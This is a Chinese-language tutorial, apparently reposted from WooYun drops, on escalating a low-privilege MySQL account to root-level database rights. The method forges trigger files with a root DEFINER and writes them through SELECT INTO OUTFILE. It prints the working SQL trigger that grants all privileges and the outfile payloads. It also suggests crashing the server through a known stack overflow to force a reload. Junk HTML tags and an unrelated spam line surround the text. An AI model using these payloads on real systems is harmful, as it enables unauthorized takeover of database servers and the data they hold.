<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/3435

                    0x00 什么是觸發器


                    觸發器(trigger)是數據庫提供給程序員和數據分析員來保證數據完整性的一種方法,它是與表事件相關的特殊的儲存過程,它的執行不是由程序調用,也不是手工啟動,而是由事件來觸發,當對一個表進行操作(insert,delete,update)時就會激活它執行。觸發器經常用于加強數據的完整性約束和業務規則等。

                    0x01 問題描述

                    a)通過Mysql觸發器提權僅僅能獲取一個Mysql

                    Root權限的Mysql賬號,并不是系統提權(系統提權取決于包括mysql是不是以root方式運行的等等很多因素)。

                    b)滲透過程中所能利用的觸發器提權中,需要提權的賬號需要有"File"權限,或者是有能力向mysql的目錄下寫入文件。

                    c)Mysql的觸發器有6種類型分別是After insert,After delete,After update和Before

                    insert,Before delete,Before update。

                    在以下版本測試成功:

                    a) CentOS 5.5 && Mysql-5.0.51a

                    b) Win2003 x86 && Mysql-5.5.24

                    0x02 工作原理


                    a) 因為MySQL的觸發器以明文文本的形式保存最對應庫的目錄下面,形式為觸發器文件.TRG和觸發器描述文件.TRN,可以通過select into outfile方式寫入(所以需要"File"權限)。

                    b) Mysql在定義觸發器的時候有一個定義觸發器執行角色的字段DEFINER,默認的此字段與建立觸發器的角色相同(即與'CREATE DEFINER'字段相同)。如果我們可以上傳一個執行角色為root的觸發器,那么就能以root權限執行觸發語句。

                    c) 根據觸發器的原理,我們本地新建一個觸發器,然后修改相關配置,如觸發角色,觸發條件,觸發后執行語句等等,制作exp實現提權。

                    0x03 實驗環境


                    Win2003x86 && Mysql-5.5.24,默認安裝Mysql,導入一個xxxCMS的數據庫"cms",并為此數據庫建立一個普通權限的用戶"test" Test 賬號添加方式:

                    grant all privileges on cms.* to [email protected] identified by '1234';
                    

                    root執行show databases;的結果:

                    enter image description here

                    root執行select User,Host from mysql.user;的結果:

                    enter image description here

                    test執行show databases;

                    enter image description here

                    test執行use cms;并查詢此數據庫上存在的觸發器show triggers;

                    enter image description here

                    0x04 實驗過程


                    a)本地生成觸發器文件: 1.首先在本地的Mysql上建立正常的觸發器,建立過程:

                    mysql> delimiter //   
                                /** 此處定義操作塊,在操作塊結束前即使遇到;也不去執行,直到遇到結束符(//) **/
                    mysql> create trigger rootme after update on cms_users for each row 
                                /** 建立一個作用于表cms_users的、類型為After update的、名為rootme的觸發器,for each row意思是每觸發一次,就執行一次執行語句 **/
                    mysql> begin update mysql.user set Select_priv='Y',Insert_priv='Y',Update_priv='Y',Delete_priv='Y',Create_priv='Y',Drop_priv='Y',Reload_priv='Y',Shutdown_priv='Y',Process_priv='Y',File_priv='Y',Grant_priv='Y',References_priv='Y',Index_priv='Y',Alter_priv='Y',Show_db_priv='Y',Super_priv='Y',Create_tmp_table_priv='Y',Lock_tables_priv='Y',Execute_priv='Y',Repl_slave_priv='Y',Repl_client_priv='Y',Create_view_priv='Y',Show_view_priv='Y',Create_routine_priv='Y',Alter_routine_priv='Y',Create_user_priv='Y',Event_priv='Y',Trigger_priv='Y',Create_tablespace_priv='Y',ssl_type='Y',ssl_cipher='Y',x509_issuer='Y',x509_subject='Y',max_questions='Y',max_updates='Y',max_connections='Y' where User='test';
                                /** 默認格式begin為開頭加上觸發后執行的語句,此處語句為執行修改mysql.user表中test用戶的權限的操作 **/
                    mysql> end;    /** 觸發器定義結束標志 **/
                    mysql> //      /** 操作塊結束標志,閉合開頭定義的操作塊 **/
                    

                    以上sql語句執行完畢就會在數據庫cms的目錄下生成兩個文件:rootme.TRN 和 cms_users.TRG。

                    打開文件,發現DEFINER字段為:[email protected]

                    [email protected],使此觸發器觸發后執行角色為root。 將這兩個文件作為后面的提權Exp保留下來。

                    b)使用test用戶登陸Mysql,并查詢此數據庫上存在的觸發器:

                    enter image description here

                    經過查詢觸發器為空,我們把前面我們本地生成好的觸發器文件上傳到對應的數據庫目錄下,即cms目錄下:

                    /** 上傳可以使用select * into outfile方式或者其他方式 **/
                    /**   TRG文件   **/
                    /**   SELECT 'TYPE=TRIGGERS' into outfile'C:wampbinmysqlmysql5.5.24datacmsrootme.TRG' LINES TERMINATED BY 'ntriggers='CREATE DEFINER=`root`@`localhost` trigger rootme after update on cms_users for each rownbegin nUPDATE mysql.user SET Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y', Show_db_priv='Y', Super_priv='Y', Create_tmp_table_priv='Y', Lock_tables_priv='Y', Execute_priv='Y', Repl_slave_priv='Y', Repl_client_priv='Y', Create_view_priv='Y', Show_view_priv='Y', Create_routine_priv='Y', Alter_routine_priv='Y', Create_user_priv='Y', ssl_type='Y', ssl_cipher='Y', x509_issuer='Y', x509_subject='Y',max_questions='Y', max_updates='Y', max_connections='Y' WHERE User='test';[email protected][email protected]l_names='utf8_general_ci'n';    **/
                    /**   TRN文件   **/
                    /**   SELECT 'TYPE=TRIGGERNAMEntrigger_table=rootme;' into outfile 'C:wampbinmysqlmysql5.5.24datacmscms_users.TNG';   **/
                    

                    enter image description here

                    再次查詢Triggers:

                    enter image description here

                    發現觸發器已經寫入,前面我們寫的觸發類型是after update,作用于表cms_users,所以我們這里我們update cms_users這個表來觸發。 觸發之前mysql.user表:

                    enter image description here

                    update cms_users這個表觸發執行:

                    enter image description here

                    觸發之后mysql.user表:

                    enter image description here

                    至此,"test"用戶所擁有的權限跟"root"用戶擁有的權限一致。

                    文中部分位置"有可能"出現"不識別"的情況,比如上傳文件后仍然查詢不到觸發器,比如觸發了觸發器修改了test的權限后發現并未生效。此時需要重啟數據庫重新加載配置,至于重啟數據庫的方式嘛,可以借鑒社工思路。Mysql5.0版本之前的可以利用之前爆出來的棧溢出漏洞造成MySQL Crash重啟,達到重新加載配置文件的目的。

                    這個棧溢出的原理是使用一個沒有grant權限的用戶做一個虛假的grant操作,而這個操作是對一個根本不存在但很長(如下攻擊實例是10000字符長度的庫名,實際達到284個時就會觸發)庫進行賦權。 http://www.exploit-db.com/exploits/23076/

                    文中提到的兩個文件

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频